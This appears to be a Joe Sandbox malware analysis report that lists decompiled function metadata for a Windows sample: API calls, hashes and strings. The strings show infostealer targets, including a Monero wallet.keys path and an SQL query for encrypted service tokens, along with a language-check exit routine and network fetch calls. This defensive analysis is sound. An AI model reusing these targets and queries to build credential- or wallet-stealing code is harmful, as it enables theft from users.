Instruction ID: e6a59c421562ed2d2c14bb1dc8b272aaeaa4193791aa8bf98cfc71afcf615db7
Opcode Fuzzy Hash: e5e089a00a4d513f2b603d4cd47d7b2645b454708908ee2b1e853739858dd8b7
Instruction Fuzzy Hash: C25182B1900208ABDB21DF51DC45BEE77B8FB44741F108098B705A72C1DB74AE85CF95

Function 009EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

lstrlen.KERNEL32(00000000), ref: 009EBC9F

Part of subcall function 009F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 009EBCCD
lstrlen.KERNEL32(00000000), ref: 009EBDA5
lstrlen.KERNEL32(00000000), ref: 009EBDB9

Strings

AccountTokens, xrefs: 009EBABA
SELECT service, encrypted_token FROM token_service, xrefs: 009EBBEB
AccountTokens, xrefs: 009EBB49
AccountId, xrefs: 009EBCC4

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 9eeb80dcc4435c22e86c71cf65277df318e7b7b971751e44e1e08182ef6788d8
Instruction ID: 390b1c6b9ef5df51daf9ffa81e2fdf59abd873cc6805d05aa660a62c3b5e5626
Opcode Fuzzy Hash: 9eeb80dcc4435c22e86c71cf65277df318e7b7b971751e44e1e08182ef6788d8
Instruction Fuzzy Hash: A9B133B191010CABDB14FBA0DD56FFE7379AF94300F404568F60AA6091EF746E49CBA6

Function 009F6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 009F6774
ExitProcess.KERNEL32 ref: 009F67A5
ExitProcess.KERNEL32 ref: 009F67AF
ExitProcess.KERNEL32 ref: 009F67B9
ExitProcess.KERNEL32 ref: 009F67C3
ExitProcess.KERNEL32 ref: 009F67CD

Strings

*, xrefs: 009F678C

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: fde8b2e804a07b7e0a08e309d986a58c841745b104c0e4558cffe24e6b8a7aa5
Instruction ID: 87bc576b2eed75f4f90ec5227ee320e0c6478ff03ee4d5593ce32746c154fdd1
Opcode Fuzzy Hash: fde8b2e804a07b7e0a08e309d986a58c841745b104c0e4558cffe24e6b8a7aa5
Instruction Fuzzy Hash: 13F05E30928309EFD354AFE0E90972CBB70FB18B03F040198E609C6690D6705B42DB9A

Function 009E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 009E4FD1
InternetOpenA.WININET(00A00DDF,00000000,00000000,00000000,00000000), ref: 009E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 009E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 009E5041
InternetCloseHandle.WININET(?), ref: 009E50B9
InternetCloseHandle.WININET(?), ref: 009E50C6

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3830db4aef3a8ae76a6f3acc68695693b662e8216e414938e34e0b566d56dd85
Instruction ID: 5b389d7f2f03c61a249020ebdde02a6ee102dec82cd2b2ffefb2f9f577c5b20c
Opcode Fuzzy Hash: 3830db4aef3a8ae76a6f3acc68695693b662e8216e414938e34e0b566d56dd85
Instruction Fuzzy Hash: 423105B4A00218ABDB20CF54DC85BDCB7B5EB48704F1081E9FB09A7281C7706EC68F99

Function 009F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 009F8426
wsprintfA.USER32 ref: 009F8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 009F847B
RegCloseKey.ADVAPI32(00000000), ref: 009F848C
RegCloseKey.ADVAPI32(00000000), ref: 009F8499

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

RegQueryValueExA.ADVAPI32(00000000,013BDF98,00000000,000F003F,?,00000400), ref: 009F84EC
lstrlen.KERNEL32(?), ref: 009F8501
RegQueryValueExA.ADVAPI32(00000000,013BDE90,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00A00B34), ref: 009F8599
RegCloseKey.ADVAPI32(00000000), ref: 009F8608
RegCloseKey.ADVAPI32(00000000), ref: 009F861A

Strings

%s\%s, xrefs: 009F844D

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: d11b0b7cd693fc4c5ff09a97bbc305a6d481f041b25c8545b57caff270e2eb11
Instruction ID: 41ebdb94979de44159b16fd6a9c814ef7273d69006e3f8db78fd1a0f00461fec
Opcode Fuzzy Hash: d11b0b7cd693fc4c5ff09a97bbc305a6d481f041b25c8545b57caff270e2eb11
Instruction Fuzzy Hash: A621E7B191021CABDB64DB54DC85FE9B7B8FB48700F00C598E609A6180DF716A86CFD4

Function 009F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 009F76AB
RegOpenKeyExA.ADVAPI32(80000002,013ABAB8,00000000,00020119,00000000), ref: 009F76DD
RegQueryValueExA.ADVAPI32(00000000,013BDF80,00000000,00000000,?,000000FF), ref: 009F76FE
RegCloseKey.ADVAPI32(00000000), ref: 009F7708

Strings

Windows 11, xrefs: 009F76BD

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 659080bab9bec201c31265cdfd1194e38f31055c820bd7b2ebe8745532dbc877
Instruction ID: 1ffc0775198c9dfb0659f6f5becca950a41ceecdd2e4715f119c3c974aa0dbc9
Opcode Fuzzy Hash: 659080bab9bec201c31265cdfd1194e38f31055c820bd7b2ebe8745532dbc877
Instruction Fuzzy Hash: 05014BB5A14309BBEB10EBE4EC49FBEB7BCEB48B01F104454FB04D7691E6B499018B56

Function 009F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F7734
RtlAllocateHeap.NTDLL(00000000), ref: 009F773B
RegOpenKeyExA.ADVAPI32(80000002,013ABAB8,00000000,00020119,009F76B9), ref: 009F775B
RegQueryValueExA.ADVAPI32(009F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 009F777A
RegCloseKey.ADVAPI32(009F76B9), ref: 009F7784

Strings

CurrentBuildNumber, xrefs: 009F7771

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: a058f07772c0cdff64b950307a3acd9aab5b675fd52276ba8049aa387e7b4ae4
Instruction ID: 22c6bc14eac742b51a7afbcc531f1297acc8c682f286e3233ba7e8daa2ce0983
Opcode Fuzzy Hash: a058f07772c0cdff64b950307a3acd9aab5b675fd52276ba8049aa387e7b4ae4
Instruction Fuzzy Hash: F30162B5A50308BBDB10DBE0DC4AFBEB7B8EB48700F104558FB05A72C1DB70AA018B51

Function 009F40B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009F40D5
RegOpenKeyExA.ADVAPI32(80000001,013BD3D8,00000000,00020119,?), ref: 009F40F4
RegQueryValueExA.ADVAPI32(?,013BDA28,00000000,00000000,00000000,000000FF), ref: 009F4118
RegCloseKey.ADVAPI32(?), ref: 009F4122
lstrcat.KERNEL32(?,00000000), ref: 009F4147
lstrcat.KERNEL32(?,013BDA58), ref: 009F415B

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 849e709530236313baa043ca7177ef5244737bd7bc3e226a242e6c847cf72fcf
Instruction ID: 693e0e2950580ec84ba902a095ec348964542da3589715b0c82a36e5a0081321
Opcode Fuzzy Hash: 849e709530236313baa043ca7177ef5244737bd7bc3e226a242e6c847cf72fcf
Instruction Fuzzy Hash: 48417AB6D10108ABDB25EBA0DC46FFE737DAB88300F408558B71656181EE759B898B92

Function 009E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 009E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 009E9A31
ReadFile.KERNEL32(000000FF,?,00000000,009E148F,00000000), ref: 009E9A5A
LocalFree.KERNEL32(009E148F), ref: 009E9A90
CloseHandle.KERNEL32(000000FF), ref: 009E9A9A

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7d735ed42d941d7d66ec739b67c689e81fb7899601a349885538056593577f36
Instruction ID: 9d2ac9d68676a004596f1e2978eb6ffc696f3bad01056a08066dea15f78b9d7c
Opcode Fuzzy Hash: 7d735ed42d941d7d66ec739b67c689e81fb7899601a349885538056593577f36
Instruction Fuzzy Hash: 8D311AB4A00209EFDF25CF95D985BAE77B9FF48340F108168E915A7290D778AE41CFA1

Function 009FC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 009FC8BF
___crtGetStringTypeA.LIBCMT ref: 009FC8EC
___crtLCMapStringA.LIBCMT ref: 009FC90C
___crtLCMapStringA.LIBCMT ref: 009FC931

Strings

, xrefs: 009FC896

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 84268b1ad298be141965cb09840faa80c05a9f29c4795f6405255f78dbacafda
Instruction ID: dde0d97991ba85ab3273650200a911997b3d2f2319e593d62762c1ed6dfff324
Opcode Fuzzy Hash: 84268b1ad298be141965cb09840faa80c05a9f29c4795f6405255f78dbacafda
Instruction Fuzzy Hash: 734109B110075C5EDB218B24CE84FFB7BED9F45704F1484E8EACA86182D2719A84CF20

Function 009F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,013BDA10), ref: 009F47DB

Part of subcall function 009F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009F8E0B

lstrcat.KERNEL32(?,00000000), ref: 009F4801
lstrcat.KERNEL32(?,?), ref: 009F4820
lstrcat.KERNEL32(?,?), ref: 009F4834
lstrcat.KERNEL32(?,013AB090), ref: 009F4847
lstrcat.KERNEL32(?,?), ref: 009F485B
lstrcat.KERNEL32(?,013BD098), ref: 009F486F

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009F8D90: GetFileAttributesA.KERNEL32(00000000,?,009E1B54,?,?,00A0564C,?,?,00A00E1F), ref: 009F8D9F

Part of subcall function 009F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 009F4580
Part of subcall function 009F4570: RtlAllocateHeap.NTDLL(00000000), ref: 009F4587
Part of subcall function 009F4570: wsprintfA.USER32 ref: 009F45A6
Part of subcall function 009F4570: FindFirstFileA.KERNEL32(?,?), ref: 009F45BD

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 586a93dae123e6c764739c1792895929a7b7c6363e59f3db7f182b3eccaa1a6f
Instruction ID: e2a18aa806067e540de0e06401faf1af181c3640ca81748fc9efb3e8110293dd
Opcode Fuzzy Hash: 586a93dae123e6c764739c1792895929a7b7c6363e59f3db7f182b3eccaa1a6f
